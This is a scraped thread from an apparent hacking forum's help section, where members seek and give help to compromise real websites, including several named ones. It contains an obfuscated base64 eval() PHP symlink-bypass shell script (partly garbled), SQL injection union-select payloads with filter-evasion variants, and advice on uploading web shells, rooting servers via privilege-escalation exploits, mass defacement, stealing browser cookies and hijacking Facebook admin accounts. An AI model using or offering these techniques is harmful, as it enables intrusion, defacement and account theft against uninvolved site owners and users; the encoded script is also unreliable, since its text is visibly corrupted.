ohioboy - November 8, 2011, 10:38 am

hello, im new here and not sure where to post this at so maybe someone can either help me or tell me where i should post this at. i need to know how to hack an xat chat, i have a very good reason on why i need to and i dont want anyone to do it for me just need someone to tell me how or the programs i would need

Mx. - November 8, 2011, 10:39 am

(Nov 8, 2011 08:19 AM)Moody_KSA Wrote: [\[CITE\]](#) hey guys, i managed to upload shell and upload my deface page, but the problem is when i try to execute commands from netcat after i

back-connect to it, it gives me

"sh: ls: command not found"

the server is probably blocking the user from executing any commands (even from the shell)

how do i bypass this?

2 things you can try, using a script that called izriperl.izri (cgi based shell)

and try another shell that might bypass it (some are coded different and do work).

(Nov 8, 2011 11:24 AM)n31ght0 Wrote: [CITE](#) already do that but still didnt work. some guys on HF can bypass it but when i pming he dont tell me how to do. they just ask for my shell and then go away ???

i want to know how they do bypassing forbidden symlink. i follow tut in hf on how to bypassing it with .htaccess and ln -s / root

there are multiple scripts for bypassing with symlink this is my personal favorite wich works best on CENT OS based hostings.

Code <?php

```
eval("<?>".base64_decode("PGJvZHkgYmdjb2xvcj0ilzMzMzM2NiIgYmFja2dyb3VuZD0iaHR0cDovL3VwLmlyYW5ibG9nLmNv
```

```
bS9pbWFnZXMvbnl6bTBuOHV6Z2RuODJqaThveGkuanBnliB0ZXh0PSIjRkZGRkZGlicSsaW5rPSIjMDA2NkNDliB2bGluaz0ilzk5OTk5OSlgYWxpbms9liM5OTMzMdAilHN0eWxIPSJiYWNRZ3JvdW5kLWltYWdlOiB1cmwoJ2h0dHA6Ly91cC5pcmFuYmxvZy5jb20vaW1hZ2VzL255em0wbjh1emdkbjgy
```

```
amk4b3hpLmpwZycplj4KPD9waHAglAoKLyogIAoKUEhQIDUuMi4xMi81LjMuMSBzeW1saW5rKCkgb3Blbl9iYXNlZGlzIGJ5cGFzcyAgIAoKYnkgSGFzaG9SIg0dHA6Ly93d3cuYXNoaXlhbmuUub3Jn
```

```
LyAgCgpLYWZhcmlFfsgZDB0XSBiaSBblGQwdF0gZWRIYWEGWyBhLIRdlGdtYWlsIFsgZDB0XS Bj
```

```
b20KCiAgIAoKQ0hVSldBTvdNVVpHICAKCiovlAoKICAgCgokZmFrZW Rpclj0iY3giOyAgCgokZmFr ZWRlcD0xNjsgIAoKICAgCgokbnVtPTA7IC8vIG9mZnNldCBvZiBzeW1saW5rLiRudW0glAoKICAg
```

```
CgppZighZW1wdHkoJF9HRVRbJ2ZpbGUnXSkpICRmaWxIPS RfR0VUWydmaWxlJ107ICAKCmVsc 2Ug
```

```
aWYolWVtcHR5KCRfUE9TVFsnZmlsZSddKSkglGZpbGU9JF9QT1NUWydmaWxlJ107ICAKCmVs c2Ug
```

```
JGZpbGU9liI7ICAKCiAgIAoKZWNobyAnPFBSRT48aW1nIHNyYz0iaHR0cDovL3VwLmlyYW5ibG9n
```

```
LmNvbS9pbWFnZXMvZG40Nmd6NzR6Y2J1Z3dnNHVucWwuanBnlj48UD5UaGlzIGlzlGV4cGxvaX Qg
```

```
ZnJvbSA8YSAgCgpocmVmPSJodHRwOi8vYXNoaXlhbmuUub3JnL2ZvcnVtcy8ilHRpdGxIPSJTZW N1
```

```
cml0eSBBdWRpdCBQSFAiPkFzaGI5YW5lIERpZ2l0YWwgU2VjdXJpdHkgVGVhbSA0IEhhc2hvUjww
```

```
YT4gbGFicy4glAoKRURJVCA6IEhhc2hvUgoKPHA+U2NyaXB0IGZvciBsZWdhbCB1c2Ugb25seS4 g
```

```
IAoKPHA+UEhQIDUuMi4xMi81LjMuMSBzeW1saW5rIG9wZW5fYmFzZW Rpclj0iY3giOyAgCgokZmFr ZWRlcD0xNjsgIAoKICAgCgokbnVtPTA7IC8vIG9mZnNldCBvZiBzeW1saW5rLiRudW0glAoKICAg
```

```
Tw9yZTogPGEgaHJlZj0iaHR0cDovL2FzaGI5YW5lLm9yZy9mb3J1bXMiPmFzaGI5YW5lX2ZvcnVt
```

UlsiSFRUUF9IT1NUlI0uaHRtbHNwZWNpYWxjaGFycyGkX1NFUIZFUlsUEhQX1NFTEYiXSkuJylg
bWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCtGbmFtZT0iZmlsZSlgc2l6ZT0iNTAilHZh
bHVIPSInLmh0bWxzGvJaWFSY2hhcnMoJGZpbGUpLiciPjxpbnB1dCB0eXBIPSJzdWJtaXQilG5h
bWU9Imh5bSlgdmFsdWU9IkNyZWFOZSBTeW1saW5rIj48L2Zvcn0+JzsgIAoKICAgCgppZihlbXB0
eSgkZmlsZSkpIcAKCiAgICBleGl0OyAgCgogICAKCmlmKCFpc193cmI0YWJsZSgiLilpKSAgCgog
ICAgZGllKCJub3Qgd3JpdGFibGUgZGlyZWNo3J5Iik7ICAKCiAgIAoKJGxldmVsPTA7ICAKCiAg
IAoKZm9yKCRhcz0wOyRhcwZkZmFrZWRIcDskYXMrKyl7ICAKCiAgICBpZighZmlsZV9leGlzdHMo
JGZha2VkaXlpKSAgCgogICAgICAgICg1rZGlyKCRmYWtlZGlyKTsgIAoKICAgICNoZGlyKCRmYWtl
ZGlyKTsgIAoKfSAgCgogICAKCndoWxlKDE8JGFzLS0pIGNoZGlyKCIuLilpOyAgCgogICAKCiRo

KCRoYXJkc3R5bGUpOyRhKyspeyAgCgogICAgYWYoIWVtcHR5KCRoYXJkc3R5bGVbJGFdKSI7I
CAK

CiAgICAgICAgAWYoiWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgICAkCiAgICAgICAgICAg
g
IG1rZGlyKCRoYXJkc3R5bGVbJGFdTsgIAoKICAgICAgICBjaGRpcigkaGFyZHN0eWxIWyRhXSkr7
ICAkCiAgICAgICAgJGFzKys7ICAkCiAgICB9ICAkCn0glAoKJGFzKys7ICAkCndoaWxlKCRhcyOt
KSAgCgogICAgY2hkaXIoli4ulik7ICAkCiAgIAoKQHJtZGlyKCjMwYWtlc3ltbGluaylpOyAgCgpA
dW5saW5rKCjMwYWtlc3ltbGluaylpOyAgCgogICAkCkBeZW1saW5rKHNOcl9yZXBIYXQoJGZhazVv
aXluli8iLCRmYWtlZGVwKSwiZmFrZXN5bWxpbnRlc3ltbGluaylpOyAgCgogICAkCkBeZW1saW5rKHNOcl9yZXBIYXQoJGZhazVv
bCBza2lwIGFsbHJlYWRR5IGNyZWFOZWQgc3ltbGlua3MulCAkCndoaWxlKDdpICAkCiAgICBpZih0
cnVIPTo0QHNO5bWxpbnRlc3ltbGluaylpOyAgCgogICAkCkBeZW1saW5rLyluc3RyX3JlcGVhdCgiLi4vliwkZmFrZWRLcC0x
KS4kZmlsZSwgInN5bWxpbnRlc3ltbGluaylpOyAgCgogICAkCkBeZW1saW5rLyluc3RyX3JlcGVhdCgiLi4vliwkZmFrZWRLcC0x
ICAkCgogAdW5saW5rKCjMwYWtlc3ltbGluaylpOyAgCgogICAkCkBeZW1saW5rKHNOcl9yZXBIYXQoJGZhazVv

aW5rJy4kbnVtLiciPnN5bWxpbnNlRudW0uJzwvYT4gZmlsZTwwRk9OVD4nKTsgIAoKICAgCgo/
PiAK"); ?>

We can't help you with that, sorry :).

(Nov 8, 2011 11:39 AM)Mx. Wrote: [\[CITE\]](#) there are multiple scripts for bypassing with symlink this is my personal favorite wich works best on CENT OS based hostings.

hey bro thanks but it didnt working :D
i'm using xorg shell and it can do that symlink too in box :P
here the symlink from your code above
Code <http://anjali-amulet.com/amuletadmin/symlink3>
fail. can you help with others ? thank you :)

(Nov 8, 2011 12:00 PM)n31ght0 Wrote: [CITE](#) hey bro thanks but it didnt working :D
i'm using xorg shell and it can do that symlink too in box :P

here the symlink from your code above
Code <http://anjali-amulet.com/amuletadmin/symlink3>
fail. can you help with others ? thank you :)
give me a link to ur shell u got there ;-).

n31ght0 - November 8, 2011, 11:56 am

(Nov 8, 2011 12:22 PM)Mx. Wrote: [\[CITE\]](#) give me a link to ur shell u got there ;-).
pm sent c:

hope you not leeching me and i want to know how to do it, i dont care with the server, rooting or defacing that site. just want to know how to bypassing 403 forbidden symlink since there are no specific tut about it on HF c:

thanks in advance ?

Mx. - November 8, 2011, 1:01 pm

I aint no leecher haha, no worry's. i will check a other method tomorrow tough.

Le Flou - November 8, 2011, 1:11 pm

(Nov 8, 2011 12:00 PM)n31ght0 Wrote: [\[CITE\]](#) hey bro thanks but it didnt working :D
i'm using xorg shell and it can do that symlink too in box :P
here the symlink from your code above
Code <http://anjali-amulet.com/amuletadmin/symlink3>
fail. can you help with others ? thank you :)
dont use x0rg shell its backdoored
?
trust me :)

btw. vouch for my biatch Mx. :D

n31ght0 - November 8, 2011, 1:58 pm

(Nov 8, 2011 02:11 PM)Le Flou Wrote: [\[CITE\]](#) dont use x0rg shell its backdoored
?
trust me :)

btw. vouch for my biatch Mx. :D
no its not. i clean it c:
also even it backdored i shelled it with login auth c:

kamz89 - November 8, 2011, 3:14 pm

(Nov 7, 2011 10:36 PM)Intercept Wrote: [\[CITE\]](#) I'm sorry but as stated in the the thread rules, we do not hack specific sites.
Ok np

Last question do you know which vulnerability scanner I should use?

Mx. - November 8, 2011, 3:19 pm

(Nov 8, 2011 04:14 PM)Kamz89 Wrote: [\[CITE\]](#) Ok np

Last question do you know which vulnerability scanner I should use?
Acunetix is the most used, and imo the best on for scanning websites for files etc.

Shad0wzz - November 9, 2011, 5:11 pm

(Nov 7, 2011 01:21 PM)Mx. Wrote: [\[CITE\]](#) We dont work for \$, sorry there, and you got just 10 posts

doesn't seem that trustful either ;-)
I understand :) No worries... I'll earn the trust :)

kamz89 - November 9, 2011, 7:12 pm

(Nov 8, 2011 04:19 PM)Mx. Wrote: [\[CITE\]](#) Acunetix is the most used, and imo the best on for scanning websites for files etc.
Thanks for the Help :)

By the way do I need to get the premium one?

No??????? - November 9, 2011, 9:32 pm

(Nov 9, 2011 08:12 PM)Kamz89 Wrote: [\[CITE\]](#) Thanks for the Help :)

By the way do I need to get the premium one?

Yes, it's probably best. Just find a torrent with a crack.

n31ght0 - November 9, 2011, 10:39 pm

This is sucks!!!

search.conduit.com use bing!! now i can't use my sql poisoner point to that web :(
i want to ask is there any others search engine that using google dork too ???

i don't like use google web on sql poisoner cause it sometimes error. also my script can't crawl url on gogole site because it protect by javascript but not on search.conduit.com but now it using bing :(

any others search engine site that using google dork ?
thanks in advance ?

No??????? - November 9, 2011, 10:53 pm

(Nov 9, 2011 11:39 PM)n31ght0 Wrote: [\[CITE\]](#) This is sucks!!!

search.conduit.com use bing!! now i can't use my sql poisoner point to that web :(
i want to ask is there any others search engine that using google dork too ???

i don't like use google web on sql poisoner cause it sometimes error. also my script can't crawl url on gogole site because it protect by javascript but not on search.conduit.com but now it using bing :(

any others search engine site that using google dork ?
thanks in advance ?

They're called Google dorks for a reason.

n31ght0 - November 9, 2011, 11:16 pm

(Nov 9, 2011 11:53 PM)Intercept Wrote: [\[CITE\]](#) They're called Google dorks for a reason.
wh't you mean ?? do you know other search engine site using google dork ???
search.conduit.com using google dork before. and now it buyed by bing :(

No??????? - November 9, 2011, 11:35 pm

(Nov 10, 2011 12:16 AM)n31ght0 Wrote: [\[CITE\]](#) wh't you mean ?? do you know other search engine site using google dork ???

search.conduit.com using google dork before. and now it buyed by bing :(
Each search engine has it's one syntax.

Tyson_08 - November 9, 2011, 11:40 pm

Vulnerable Link: Very much Private [Alexa rank below 100, multiple XSS vuln.]

Question/Problem: Is it possible to get root through XSS? I don't know if it's persistent or not, but I'd like to give it a try only if it's worth it. If not root, then cookie-stealing or something can be done via XSS to get very much potential information or just get the site secured?

No?????? - November 10, 2011, 12:01 am

(Nov 10, 2011 12:40 AM)Tyson_08 Wrote: [\[CITE\]](#) Vulnerable Link: Very much Private [Alexa rank below 100, multiple XSS vuln.]

Question/Problem: Is it possible to get root through XSS? I don't know if it's persistent or not, but I'd like to give it a try only if it's worth it. If not root, then cookie-stealing or something can be done via XSS to get very much potential information or just get the site secured?

You could try using one of the various XSS exploit frameworks available with SE in order to get access to the site administrators PC.

Dark Aveng3r - November 10, 2011, 12:49 am

is there any way to hack facebook fan page or group without hacking admin id???

No?????? - November 10, 2011, 12:52 am

(Nov 10, 2011 01:49 AM)Dark Aveng3r Wrote: [\[CITE\]](#) is there any way to hack facebook fan page or group without hacking admin id???

Publicly, no. Your best bet is to try and gain access to the admins account.

Dark Aveng3r - November 10, 2011, 12:56 am

(Nov 10, 2011 01:52 AM)Intercept Wrote: [\[CITE\]](#) Publicly, no. Your best bet is to try and gain access to the admins account. how to gain admin access phishing keylogger anything else??? bcz every one knows about phishing ???

No?????? - November 10, 2011, 1:13 am

(Nov 10, 2011 01:56 AM)Dark Aveng3r Wrote: [\[CITE\]](#) how to gain admin access phishing keylogger anything else??? bcz every one knows about phishing ???

You could try reverting the target's email address.

Tyson_08 - November 10, 2011, 4:59 am

(Nov 10, 2011 01:01 AM)Intercept Wrote: [\[CITE\]](#) You could try using one of the various XSS exploit frameworks available with SE in order to get access to the site administrators PC.

Can you help me with exploiting it or show me the various methods to exploit it? Sorry, but I'm not any good at XSS, help...

n31ght0 - November 10, 2011, 5:26 pm

How can I upload my shell from super admin board in Joomla that has unwriteable images dir ??

[\[img\]http://s10.postimage.org/5bcnje93t/upload.jpg\[/img\]](http://s10.postimage.org/5bcnje93t/upload.jpg)

No?????? - November 11, 2011, 12:10 am

(Nov 10, 2011 05:59 AM)Tyson_08 Wrote: [\[CITE\]](#) Can you help me with exploiting it or show me the various methods to exploit it? Sorry, but I'm not any good at XSS, help...

I can't because it goes against my code as a Whitehat, but someone else may.

Le Flou - November 11, 2011, 2:05 am

(Nov 10, 2011 06:26 PM)n31ght0 Wrote: [\[CITE\]](#) How can I upload my shell from super admin board in Joomla that has unwriteable images dir ??

[\[img\]http://s10.postimage.org/5bcnje93t/upload.jpg\[/img\]](http://s10.postimage.org/5bcnje93t/upload.jpg)

check this video ?

<http://www.youtube.com/watch?v=PdeGBopmOWM>

T-rom - November 11, 2011, 2:14 am

If I were to want to use a exploit from 1337day

How would I do so?

No?????? - November 11, 2011, 2:23 am

(Nov 11, 2011 03:14 AM)T-rom Wrote: [\[CITE\]](#) If I were to want to use a exploit from 1337day

How would I do so?

It would depend entirely on the exploit.

T-rom - November 11, 2011, 3:28 am

(Nov 11, 2011 03:23 AM)Intercept Wrote: [\[CITE\]](#) It would depend entirely on the exploit.
Well, my biggest problem would be actually running the code.

Lets say I have a exploit that says its a part of "msf"
Would I have to use it in metasploit?

Or a python/C script.

If I run it in terminal , it should run correct (saying I put the targets IP or such in the correct places in script).

I don't really have any examples as of now since I haven't tried in a while.
Every time I do I never can get it too work.

Mx. - November 11, 2011, 4:21 am

msf = metasploit,
.pl = perl
.py = python
etc..

T-rom - November 11, 2011, 5:01 am

so just run the script "as is " ?

I hate to do this but -.-

I hate it when people do that, but it seem's that this would be the only way to do it.
Oh hey, i actually reached 35.

Mx. - November 11, 2011, 6:25 am

You have to implement the .msf script somewhere in ur folders of MSF as far i remember (hardly till never us MSF here).

n31ght0 - November 11, 2011, 6:57 am

(Nov 11, 2011 03:05 AM)Le Flou Wrote: [\[CITE\]](#) check this video ?

<http://www.youtube.com/watch?v=PdeGBopmOWM>

i say that have unwriteable access on the image folder. please check my image link by quote it i

dont know why it not show.
and that video not solve my problem. thanks

Host9999 - November 11, 2011, 9:07 am
huhu

i need to hack a server and need help. This because the administrator moved the site to a new server, i still have full access to old server..in the new server, i have access to a limited ftp user and can upload every file. Do you have a good shell or can you help me to hack it? Here some Infos:

Sistema operativo: Linux 2.6.18-194.26.1.el5xen #1 SMP Tue Nov 9 13:35:30 EST 2010 x86_64
Disable_Functions : All Functions Enable
Server: Apache
Versionn PHP: 5.3.8
Espacio: 205.33 GB/299.23 GB
Safe Mode: Off
cURL: On
Perl: On.
Magic quotes: On.
WGET: On.
Bases de datos activas: MySQL

I could download the passwd file but i havent access to shadow file.

No?????? - November 12, 2011, 1:35 pm
(Nov 11, 2011 10:07 AM)Host9999 Wrote: [\[CITE\]](#) huhu

i need to hack a server and need help. This because the administrator moved the site to a new server, i still have full access to old server..in the new server, i have access to a limited ftp user and can upload every file. Do you have a good shell or can you help me to hack it? Here some Infos:

Sistema operativo: Linux 2.6.18-194.26.1.el5xen #1 SMP Tue Nov 9 13:35:30 EST 2010 x86_64
Disable_Functions : All Functions Enable
Server: Apache
Versionn PHP: 5.3.8
Espacio: 205.33 GB/299.23 GB
Safe Mode: Off
cURL: On
Perl: On.
Magic quotes: On.
WGET: On.
Bases de datos activas: MySQL

I could download the passwd file but i havent access to shadow file.
You may be able to root the server, can you backconnect?

BreastMilk - November 12, 2011, 2:10 pm
Wow.. You have dominated the Web hacking section Intercept :D

HaxOr? - November 12, 2011, 2:33 pm
(Nov 10, 2011 06:26 PM)n31ght0 Wrote: [\[CITE\]](#) How i can upload my shell from super admin board

in joomla that have unwriteable images dir ??



PM me maybe i can work something out :)

No?????? - November 12, 2011, 9:36 pm

(Nov 12, 2011 03:10 PM)Futuristic Wrote: [\[CITE\]](#) Wow.. You have dominated the Web hacking section Intercept :D

True dat, it's becoming a mass thread now. It'd be mad if it got stickied.

chacha13 - November 12, 2011, 11:05 pm

If you need help with uploading it to the site contact me ;)

m3nc0re - November 13, 2011, 12:26 am

Hey,

I've little problem with basic SQL injection.

I've already made order by x part so I know there are 11 columns in this site.

Next I'll try to find which columns are vuln:

Quote:<http://www.site.com/index.php?id=1> union select 1,2,3,4,5,6,7,8,9,10,11--

Site returns normal page for me. Next I tried to add "-":

Quote:<http://www.site.com/index.php?id=-1> union select 1,2,3,4,5,6,7,8,9,10,11--

Now site returns a message "This page can not be displayed!".

Next I thought maybe it's firewall blocking my request. So, I tried to bypass firewall:

Quote:<http://www.site.com/index.php?id=1> uNiOn sElEcT 1,2,3,4,5,6,7,8,9,10,11--

Quote:<http://www.site.com/index.php?id=1> /*!union*/ /*!select*/ 1,2,3,4,5,6,7,8,9,10,11--

...but it didn't work. Still returns normal page for me.

What do you guys think? Is it possible that the site doesn't have any vuln columns? (this same problem shows up in many other sites) Firewall still blocking my request?

HaxOr? - November 13, 2011, 3:59 am

(Nov 13, 2011 01:26 AM)m3nc0re Wrote: [\[CITE\]](#) Hey,

I've little problem with basic SQL injection.

I've already made order by x part so I know there are 11 columns in this site.

Next I'll try to find which columns are vuln:

Site returns normal page for me. Next I tried to add "-":

Now site returns a message "This page can not be displayed!".

Next I thought maybe it's firewall blocking my request. So, I tried to bypass firewall:

...but it didn't work. Still returns normal page for me.

What do you guys think? Is it possible that the site doesn't have any vuln columns? (this same problem shows up in many other sites) Firewall still blocking my request?

If you can post the site it would be great...

m3nc0re - November 13, 2011, 4:22 am

(Nov 13, 2011 04:59 AM)?? ? x O r ? Wrote: [\[CITE\]](#) If you can post the site it would be great...Yeah, well I didn't want to post it here.

I'll pm it for you, I hope you don't mind.

Le Flou - November 13, 2011, 6:35 am

(Nov 13, 2011 01:26 AM)m3nc0re Wrote: [\[CITE\]](#) Hey,

I've little problem with basic SQL injection.

I've already made order by x part so I know there are 11 columns in this site.

Next I'll try to find which columns are vuln:

Site returns normal page for me. Next I tried to add "-":

Now site returns a message "This page can not be displayed!".

Next I thought maybe it's firewall blocking my request. So, I tried to bypass firewall:
...but it didn't work. Still returns normal page for me.

What do you guys think? Is it possible that the site doesn't have any vuln columns? (this same problem shows up in many other sites) Firewall still blocking my request?
Try to do it like this

Code `http://www.site.com/index.php?id=-1'+union+select 1,2,3,4,5,6,7,8,9,10,11--+`

m3nc0re - November 13, 2011, 7:34 am

(Nov 13, 2011 07:35 AM)Le Flou Wrote: [\[CITE\]](#) Try to do it like this

Code `http://www.site.com/index.php?id=-1'+union+select 1,2,3,4,5,6,7,8,9,10,11--+`It gives this error:

Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " at line 1

BTW I've this same problem in 3 different sites.

D3xus - November 13, 2011, 12:07 pm

Vulnerable Link: <http://modmyi.com/search.php>

Question/Problem: Is this link SQL vulnerable or is it just an error?

??SS - November 13, 2011, 12:47 pm

THANKS ?? ? x O r ? FOR HELP ME OUT !! VOUCH FOR THIS MEMBER HQ HERE

No??????? - November 13, 2011, 4:06 pm

(Nov 13, 2011 12:05 AM)chacha13 Wrote: [\[CITE\]](#) If you need help with uploading it to the site contact me ;)

You're not part of Intra, leave this thread.

HaxOr? - November 14, 2011, 7:39 am

(Nov 13, 2011 01:47 PM)danielzz94 Wrote: [\[CITE\]](#) THANKS ?? ? x O r ? FOR HELP ME OUT !!
VOUCH FOR THIS MEMBER HQ HERE

Thanks danielzz94 and if you need anything else just shoot me a PM

066y - November 15, 2011, 3:32 am

Hi, im new here and i have question :-)

How i can get a name of hosting my victim web? I mean this one -> <http://sse-najizdarne.cz/> any advices? Or some advices about exploiting or brute forcing? How it working?:-)

Thanks alot for any answer!:-)

066y

D3xus - November 15, 2011, 4:33 am

Can anyone answer my question? Been waiting a little :/

Mx. - November 15, 2011, 4:49 am

(Nov 13, 2011 01:07 PM)D3xus Wrote: [\[CITE\]](#) Vulnerable Link: <http://modmyi.com/search.php>
Question/Problem: Is this link SQL vulnerable or is it just an error?
Just an error there, wordpress FTW.

~xXx~ - November 15, 2011, 6:01 am

can you guys please help me out here-

<https://hackforums.net/showthread.php?tid=1917633>

i hope you can help me out !

Thanks.

~X.x.X~ - November 15, 2011, 8:45 am

How to mass deface ????

also how can i mass deface with an asp shell.

Le Flou - November 15, 2011, 9:08 am

(Nov 15, 2011 04:32 AM)066y Wrote: [\[CITE\]](#) Hi, im new here and i have question :-)

How i can get a name of hosting my slave web? I mean this one -> <http://sse-najizdarne.cz/> any advices? Or some advices about exploiting or brute forcing? How it working?:-)

Thanks alot for any answer!:-)

066y

<http://whois.domaintools.com/89.185.232.144>

its not vuln and there is no login page :s

(Nov 15, 2011 07:01 AM)iCodeDTech™ Wrote: [\[CITE\]](#) can you guys please help me out here-

<https://hackforums.net/showthread.php?tid=1917633>

i hope you can help me out !

Thanks.

here you have part about cookie stealing

<https://hackforums.net/showthread.php?tid=1863276>

by our member

(Nov 15, 2011 09:45 AM)~X.x.X~ Wrote: [\[CITE\]](#) How to mass deface ????

also how can i mass deface with an asp shell.
it depends of permission on server , or you need root on server

btw in asp shell you have mass deface button

066y - November 15, 2011, 11:56 am

(Nov 15, 2011 10:08 AM)Le Flou Wrote: [\[CITE\]](#) <http://whois.domaintools.com/89.185.232.144>
its not vuln and there is no login page :s
So its not possible to hack FTP or Index.html page?

ajjt - November 15, 2011, 12:47 pm

How do you know which xss filter a website is using?
Can you please give exampels.

No?????? - November 16, 2011, 10:29 pm

(Nov 15, 2011 01:47 PM)ajjt Wrote: [\[CITE\]](#) How do you know which xss filter a website is using?
Can you please give exampels.
It requires patience and Trial & Error testing. For example, if you were dealing with a filter that replaced blacklisted characters with a backslash, you could try this string: fergthy>

and see the output as: fergthy\

ajjt - November 18, 2011, 8:59 am

If your website is xss vulnerable in a search bar example with this code <script>alert("XSS")</script>
how do you block it then.

Same thing with sql if your website is sql vulnerable how can you make it not vulnerable.

And what type of hacking example xss or sqli can you hack a site with.

Maxitj - November 18, 2011, 12:10 pm

Is lan spread working on windows 7 and xp? And how this spreading does actually work(does the file need to be executed in order to spread and infect more)?

@offtopic

Mx. change pic pl0x for me, it damn damn damn uglyyy arghh ?

Universal. - November 18, 2011, 12:27 pm

Can you please teach me to deface websites? I'm VERY new to this.... so.. umm yeah it will take me [Sarcasm]Some[/Sarcasm] Time to learn :\ Or if you would mind showing me a tut on it? Preferably yours ?

Thanks L?ve

BTW!: PLEASE PM ME!

Mx. - November 18, 2011, 1:02 pm

there are loads of tutorials on how to do that in the tutorial section, hint my signature..

No??????? - November 18, 2011, 2:40 pm

(Nov 18, 2011 01:10 PM)Maxitj Wrote: [\[CITE\]](#) Is lan spread working on windows 7 and xp? And how this spreading does actually work(does the file need to be executed in order to spread and infect more)?

@offtopic

Mx. change pic pl0x for me, it damn damn damn uglyyy arghh ?

That is totally unrelated to web hacking, please read the thread.

(Nov 18, 2011 09:59 AM)ajjt Wrote: [\[CITE\]](#) If your website is xss vulnerable in a search bar example with this code `<script>alert("XSS")</script>` how do you block it then.

Same thing with sql if your website is sql vulnerable how can you make it not vulnerable.

And what type of hacking example xss or sqli can you hack a site with.

It depends entirely on your website, usually a blacklist of some sort.

Maxitj - November 18, 2011, 5:21 pm

(Nov 18, 2011 03:40 PM)Intercept Wrote: [\[CITE\]](#) That is totally unrelated to web hacking, please read the thread.

It depends entirely on your website, usually a blacklist of some sort.

I think it's really a simple one so why not answering ? ;)

Sebastian1987 - November 18, 2011, 6:18 pm

Vulnerable Link: <http://www.agirmedia.de/newsdetail.php?ID=36>

Question/Problem: There is no adminlogin on this site how to upload the shell without a adminlogin?

No??????? - November 18, 2011, 7:03 pm

(Nov 18, 2011 06:21 PM)Maxitj Wrote: [\[CITE\]](#) I think it's really a simple one so why not answering ? ;)

I think you're really simple. On a side note, if it's so simple, why do you need us to answer it?

EthicalPractice - November 18, 2011, 9:29 pm

(Nov 18, 2011 01:10 PM)Maxitj Wrote: [\[CITE\]](#) Is lan spread working on windows 7 and xp? And how this spreading does actually work(does the file need to be executed in order to spread and infect more)?

@offtopic

Mx. change pic pl0x for me, it damn damn damn uglyyy arghh ?

Lan Spreading should work on Win7 and XP according to the features of whatever bot your using. The file WILL be executed automatically (not certain) but, yeah it will be executed and will spread even further.

HaxOr? - November 19, 2011, 4:37 am

(Nov 18, 2011 07:18 PM)Sebastian1987 Wrote: [\[CITE\]](#) Vulnerable Link:

<http://www.agirmedia.de/newsdetail.php?ID=36>

Question/Problem: There is no adminlogin on this site how to upload the shell without a adminlogin?

Sebastian,check this tutorial out

<https://hackforums.net/showthread.php?tid=1872494>

Maxitj - November 19, 2011, 7:30 am

(Nov 18, 2011 08:03 PM)Intercept Wrote: [\[CITE\]](#) I think you're really simple. On a side note, if it's so simple, why do you need us to answer it?

Not for me, but for you ...

35 chars

~xXx~ - November 19, 2011, 9:23 am

thanks for cookie stealing tut.

but its not working... any more help... :(

also, can i have a good tutorial on defacing sites and server rooting ???

please.

Thanks a lot !

No??????? - November 19, 2011, 1:52 pm

(Nov 19, 2011 08:30 AM)Maxitj Wrote: [\[CITE\]](#) Not for me, but for you ...

35 chars

The idea of the thread is to help other members who DON'T know something. Aside from that, the thread is for Web Hacking questions ONLY. I'm perfectly capable of answering your question, but it's a matter of principle. If I answer one off-topic question, many more members will ask them.

ProfHacker007 - November 19, 2011, 2:24 pm

pleaaaase can u show me how to get the root of server after uploading my shell ? thank u very much in advance

No??????? - November 19, 2011, 2:49 pm

(Nov 19, 2011 03:24 PM)ProfHacker007 Wrote: [\[CITE\]](#) pleaaaase can u show me how to get the root of server after uploading my shell ? thank u very much in advance

It depends on the server, the most common way around here is to download a local privilege escalation exploit someone else wrote for the servers kernel and compile then execute it.

-DownFall - November 19, 2011, 6:36 pm

So I have a shell uploaded, in order to root a server, do you have to port forward?

undeRq - November 19, 2011, 6:43 pm

Vulnerable Link: <http://images.afrika-hq.com/search.php?search=slike>

Question/Problem: Dont know what type of vuln is it ? How to hack it?

No??????? - November 20, 2011, 12:33 am

(Nov 19, 2011 07:36 PM)DownFall. Wrote: [\[CITE\]](#) So I have a shell uploaded, in order to root a server, do you have to port forward?

Unless your router and PC already have the appropriate ports forwarded, yes.

(Nov 19, 2011 07:43 PM)undeRq Wrote: [\[CITE\]](#) Vulnerable Link:

<http://images.afrika-hq.com/search.php?search=slike>

Question/Problem: Dont know what type of vuln is it ? How to hack it?
It's not a vulnerability, it's a broken script.

~xXx~ - November 20, 2011, 3:19 am

can i have help on this..

thanks for cookie stealing tut.

but its not working... any more help... :(

also, can i have a good tutorial on defacing sites and server rooting ???

please.

Thanks a lot !

HaxOr? - November 20, 2011, 4:37 am

Rooting tutorial

<http://www.go4expert.com/forums/showthread.php?t=11369>

But i can't find defaceing tutorial...

Sad_Angel - November 20, 2011, 5:29 am

how can I grab cookies from latest firefox and chrome browsers without any alert ? I tried several method, but they didn't worked for facebook, gmail, etc.

Please, tell how to silently steal browser cookies by directing victim to my malicious script..

Thanks in advance

~xXx~ - November 20, 2011, 10:26 am

(Nov 20, 2011 06:29 AM)Sad_Angel Wrote: [\[CITE\]](#) how can I grab cookies from latest firefox and chrome browsers without any alert ? I tried several method, but they didn't worked for facebook, gmail, etc.

Please, tell how to silently steal browser cookies by directing slave to my malicious script..

Thanks in advance

i am too facing the same issue ...!!!!

please help out !

a great thanks to you guys !

?

No?????? - November 20, 2011, 12:29 pm

(Nov 20, 2011 06:29 AM)Sad_Angel Wrote: [\[CITE\]](#) how can I grab cookies from latest firefox and chrome browsers without any alert ? I tried several method, but they didn't worked for facebook, gmail, etc.

Please, tell how to silently steal browser cookies by directing slave to my malicious script..

Thanks in advance

I haven't tried this recently, but in the past, all of them SQLite. So I would imagine you would just need an SQLite API to retrieve data.

mirkops - November 20, 2011, 1:34 pm

Hi dear:

I have found this problem in a lot of webs, please I hope someone help us;

next to put order by in integer injection and find the numbers of tables like:

www.site.com/index.php?id=-1 union select 1,2,3,4,5,6,7--

it answer: came back to the home web or error 404 not found. Please why answer that and it doesn't show me the vulnerable tables.

~xXx~ - November 21, 2011, 5:20 am

(Nov 20, 2011 01:29 PM)Intercept Wrote: [\[CITE\]](#) I haven't tried this recently, but in the past, all of them SQLite. So I would imagine you would just need an SQLite API to retrieve data.

so please try it, and how to do with SQLite API ???

thanks.

F3AR-abuSe - November 22, 2011, 11:02 am

Hey can you guys help me please ?

I'm new to website hacking trying to learn how but i got stuck.

i foun an admin page for the website e.g

<http://www.MY-SITE.co.za/wp-login.php>

then i added <http://www.MY-SITE.co.za/wp-login.php?id=15>

then it says something that i was blocked by a firewall.

is there a difrent way i can get the admin login details

